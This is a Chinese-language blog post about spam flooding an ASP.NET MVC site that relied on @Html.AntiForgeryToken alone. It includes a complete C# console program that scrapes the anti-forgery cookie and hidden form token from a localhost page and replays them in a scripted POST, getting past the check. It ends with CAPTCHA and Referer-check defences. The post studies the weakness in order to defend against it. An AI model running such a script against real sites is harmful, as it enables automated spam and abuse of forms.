@Html.AntiForgeryToken 是MVC设计为防止跨域提交所做的安全验证,何为跨域提交,简单来说就是直接通过url提交数据。
某天不经意间发现留言徒增几万条,打开页面一看全是垃圾数据,这已经很明显被攻击了,当时留言页面只有 @Html.AntiForgeryToken 验证,攻击人肯定是解决了这个验证问题,当时因为各种原因在提交数据时添加了验证码暂时解决了这个问题。
而后在某天不经意间查看错误日志,发现有个页面出现多个错误信息,打开页面一看评论又被攻击了,评论也只有 @Html.AntiForgeryToken 验证,当时只改了留言,把评论忘了,而后又把评论的验证码加上。
闲下来决定研究下 @Html.AntiForgeryToken 验证,下载MVC源码,一路查看下来,原理很简单,在页面调用时生一个加密串在cookie里,然后再生成一个加密串返回给客户端(两个加密串不同),提交时根据自己的规则比较。
自己也写了注入代码,轻松就被注入了
准备工具:HtmlAgilityPack
using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Net; using System.Text; using HtmlAgilityPack; namespace ConsoleApplication1 { class Program { static void Main(string[] args) { Encoding encoding = Encoding.UTF8; string responseData = String.Empty; string cookie = string.Empty; HttpWebRequest req = (HttpWebRequest)HttpWebRequest.Create("http://localhost:8030"); req.Method = "GET"; using (HttpWebResponse response = (HttpWebResponse)req.GetResponse()) { using (StreamReader reader = new StreamReader(response.GetResponseStream(), encoding)) { responseData = reader.ReadToEnd(); } cookie = response.Headers["set-cookie"];//取得cookie 多个cookie此处注意截取方式 只取__RequestVerificationToken } string cookieValue = cookie.Substring(0, cookie.IndexOf(';')); HtmlAgilityPack.HtmlDocument html = new HtmlAgilityPack.HtmlDocument(); html.LoadHtml(responseData); var node = html.DocumentNode.SelectSingleNode("//input[@name='__RequestVerificationToken']");//取得页面 验证标签 string formValue = node.GetAttributeValue("value", "1");//取得页面 验证值 SendRequest(cookieValue.Split('=')[1], formValue); } private static void SendRequest(string cookieValue,string formValue) { Encoding encoding = Encoding.UTF8; string param = "__RequestVerificationToken=" + formValue; byte[] bs = Encoding.ASCII.GetBytes(param); string responseData = String.Empty; var cookie = new Cookie("__RequestVerificationToken", cookieValue); cookie.Domain = "localhost"; var cookieContainer = new CookieContainer(); cookieContainer.Add(cookie); HttpWebRequest req = (HttpWebRequest)HttpWebRequest.Create("http://localhost:8030/Home/SubmitForm"); req.Method = "POST"; req.ContentLength = bs.Length; req.ContentType = "application/x-www-form-urlencoded"; req.CookieContainer = cookieContainer; using (Stream reqStream = req.GetRequestStream()) { reqStream.Write(bs, 0, bs.Length); reqStream.Close(); } using (HttpWebResponse response = (HttpWebResponse)req.GetResponse()) { using (StreamReader reader = new StreamReader(response.GetResponseStream(), encoding)) { responseData = reader.ReadToEnd(); } } } } }
验证码只是其中一个防御方式,想到另一种方式只不过没验证,利用防盗链的原理来处理,判断来路是否为网站域名。